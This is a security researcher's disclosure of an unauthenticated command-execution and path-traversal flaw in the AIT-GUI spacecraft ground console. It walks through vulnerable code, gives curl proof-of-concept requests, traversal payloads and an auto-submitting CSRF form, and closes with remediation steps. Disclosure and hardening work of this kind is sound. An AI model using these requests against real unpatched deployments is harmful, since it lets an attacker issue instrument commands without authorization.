When the NASA Ground Station Has No Lock on the Door: Unauthenticated Command Execution in AIT-GUI (GHSA-p9r8-2q67-fp86)

user profile
Security Researcher

A web GUI used to drive spacecraft and instrument commanding shipped a server that listens on every network interface, asks nobody for a password, and can be steered by any web page an operator happens to open. Here is how a stack of small, ordinary web mistakes adds up to unauthenticated command execution against hardware that is very much not ordinary, and what to do about it.

TL;DR

AIT-GUI, the web front end of NASA/JPL’s open-source AMMOS Instrument Toolkit, starts an HTTP server with no authentication, no authorization, and no CSRF protection on any of its state-changing endpoints. Anyone who can reach the port, or any website an operator merely visits in a browser, can:

  • Issue arbitrary commands via POST /cmd
  • Run server-side scripts via POST /script/run
  • Execute command sequences via POST /seq

Two of those endpoints also build filesystem paths from unvalidated input, allowing path traversal outside the intended script and sequence directories. And because the listener is hardcoded to 0.0.0.0, the configured host is quietly ignored and the API is exposed to the whole reachable network.

The issue is tracked as GHSA-p9r8-2q67-fp86 (Critical, CVSS 9.4); no CVE has been assigned at the time of writing. It is fixed in AIT-GUI 2.5.2. If you run this software, upgrade now and keep the port off untrusted networks.

adadad

What is AIT-GUI, and why does this matter more than a typical web bug?

The AMMOS Instrument Toolkit (AIT) is an open-source framework for building ground data systems, the software that talks to instruments and spacecraft, sends commands, and processes telemetry coming back down. AIT-GUI is its browser-based operator console: the panel a human uses to send a command or kick off a sequence.

In most web apps, “missing authentication on a POST endpoint” is bad. Here, the endpoints in question relay operator commands to a command bus. The blast radius of an unauthenticated POST is measured in issued instrument commands, not defaced pages. That context is exactly why a familiar class of web weakness deserves a fresh, careful look in operational technology and aerospace ground software.

Four small mistakes, one big hole

1. The server ignores its own host setting and binds to everything

The configured host is read into a variable… and then never used. The listener is hardcoded to all interfaces:

host = getattr(self, "host", "localhost") # value is read, then never used
...
gevent.pywsgi.WSGIServer(
("0.0.0.0", port), # hardcoded: all interfaces
App, handler_class=WebSocketHandler,
)

An operator who carefully sets host: localhost to keep the console on the loopback interface gets a server exposed to the entire reachable network anyway.

2. No authentication, no authorization, no CSRF token anywhere

There is no login requirement, no session gate, no CSRF token, and no CORS restriction on any route. Every state-changing endpoint accepts application/x-www-form-urlencoded bodies, which browsers treat as CORS “simple” requests, so they can be delivered cross-origin without a preflight.

3. POST /cmd relays arbitrary commands, unauthenticated

command = bottle.request.forms.get("command").strip()
args = command.split()
name = args[0].upper()
args = [util.toNumber(t, t) for t in args[1:]]
if self.send(name, *args): # the command is relayed to the bus
...

Whatever arrives in the command field is parsed and handed to self.send(). There is nothing between the network and the command bus.

4. POST /seq and POST /script/run build paths from raw input

The sequence endpoint joins user input straight onto the sequence root, checks only that the resulting file exists, and passes it to a subprocess:

bn_seqfile = bottle.request.forms.get("seqfile")
...
seqfile = os.path.join(SEQRoot, bn_seqfile) # no confinement; only os.path.isfile
...
gevent.subprocess.Popen(["ait-seq-send", seqfile], ...)

A seqfile value of ../../../../something resolves outside SEQRoot. The script endpoint has the same shape with scriptPath — and notably, a correct confinement check already exists elsewhere in the same file (on /scripts/load), so the fix pattern is right there in the codebase.

adadad

How reachable is it, really?

The server runs on port 8080 by default. The most direct demonstration is a single unauthenticated request, no session, no token, no user interaction:

curl -i -X POST http://TARGET:8080/cmd 
  --data-urlencode 'command=NO_OP 1 2 3'

The path-traversal variants reach files outside the intended roots:

# script outside ScriptRoot
curl -i -X POST http://TARGET:8080/script/run 
  --data-urlencode 'scriptPath=../../../../path/to/any/script'
# sequence outside SEQRoot
curl -i -X POST http://TARGET:8080/seq
--data-urlencode 'seqfile=../../../../path/to/any/file'

The part that survives a firewall: browser CSRF

Even a host-local or firewalled deployment is exploitable, because the endpoints are reachable cross-origin from a browser. If an operator who can open the GUI also visits a malicious page, that page can drive the API. The form-encoded body is a CORS “simple” request, so the cross-origin POST is delivered with zero preflight:

<body onload="document.f.submit()">
<form name="f" action="http://127.0.0.1:8080/cmd" method="POST">
<input name="command" value="NO_OP 1 2 3">
</form>
</body>

Stringing it together

  1. Reach the port or the operator. Either directly (thanks to the 0.0.0.0 bind) or indirectly, by getting an operator with browser access to the GUI to open a page you control.
  2. Skip the front door. There is no login, session check, or CSRF token to defeat, so no credentials are needed.
  3. Issue commands. A single form-encoded POST /cmd relays an arbitrary command to the bus.
  4. Escalate reach. Use /script/run or /seq with traversal payloads to execute scripts or sequences that live outside the intended directories.

No step requires a memory-corruption primitive, an auth bypass, or a novel exploit technique. It is four well-understood web weaknesses composed against a very high-value target.

adadad

How our agentic tooling assisted this discovery

This bug was found the way we think most real research will be done from here on: a human researcher working alongside AI-assisted code analysis. The tool does the tireless part — reading an unfamiliar codebase end to end and surfacing suspicious shapes — and the researcher does the judgment part: deciding which leads are real, confirming exploitability, and building a proof.

What made this a good target for that kind of analysis is that none of the findings required running the software first: each is visible in the source as a recognizable shape, and the interesting part is how they compose. That’s exactly where analysis that reasons across a whole codebase, rather than matching a single line, earns its keep:

  • Missing authentication on state-changing routes. A route that mutates state (/cmd, /seq, /script/run) with no auth decorator, middleware, or session check anywhere in its call path is a detectable shape.
  • Tainted input flowing into a dangerous sink. request.forms.get("seqfile") reaching os.path.join and then subprocess.Popen with no confinement is a classic source-to-sink trace.
  • A config value that is read but never used. host is assigned and then quietly discarded in favor of a hardcoded bind, a dead write that also happens to be a security regression.
  • An existing safe pattern that a sibling route ignores. The correct path-confinement check already lives on /scripts/load; the gap is that /seq and /script/run don’t reuse it.

A lead is not a finding. The step that matters is validation: every issue above was confirmed by hand and reduced to a working proof-of-concept, including the self-contained CSRF demonstration that drives a real headless browser and records zero preflights. A pattern match tells you where to look; a reproduced exploit tells you it’s real. We only report the second kind.

Remediation

DO THIS FIRST  Upgrade to AIT-GUI 2.5.2 or later, and confirm the console port is not reachable from untrusted networks. Treat any prior exposure as a reason to review command and sequence history.

For maintainers and anyone hardening a deployment, the durable fixes:

  1. Authenticate and authorize every state-changing endpoint, and add CSRF protection, a token, and/or reject CORS-simple content types on the command, script, and sequence routes.
  2. Bind to the configured host (defaulting to localhost) instead of the hardcoded 0.0.0.0.
  3. Confine paths on /script/run and /seq, mirroring the existing /scripts/load check: canonicalize with os.path.realpath, strip leading separators, and verify the resolved path stays within ScriptRoot / SEQRoot.

More broadly: operational and ground-system software inherits the same web weaknesses as everything else, but with a far higher cost of failure. Auth, CSRF defense, and input confinement are not optional extras on a panel that commands hardware.

Read the full disclosure: GHSA-p9r8-2q67-fp86

adadad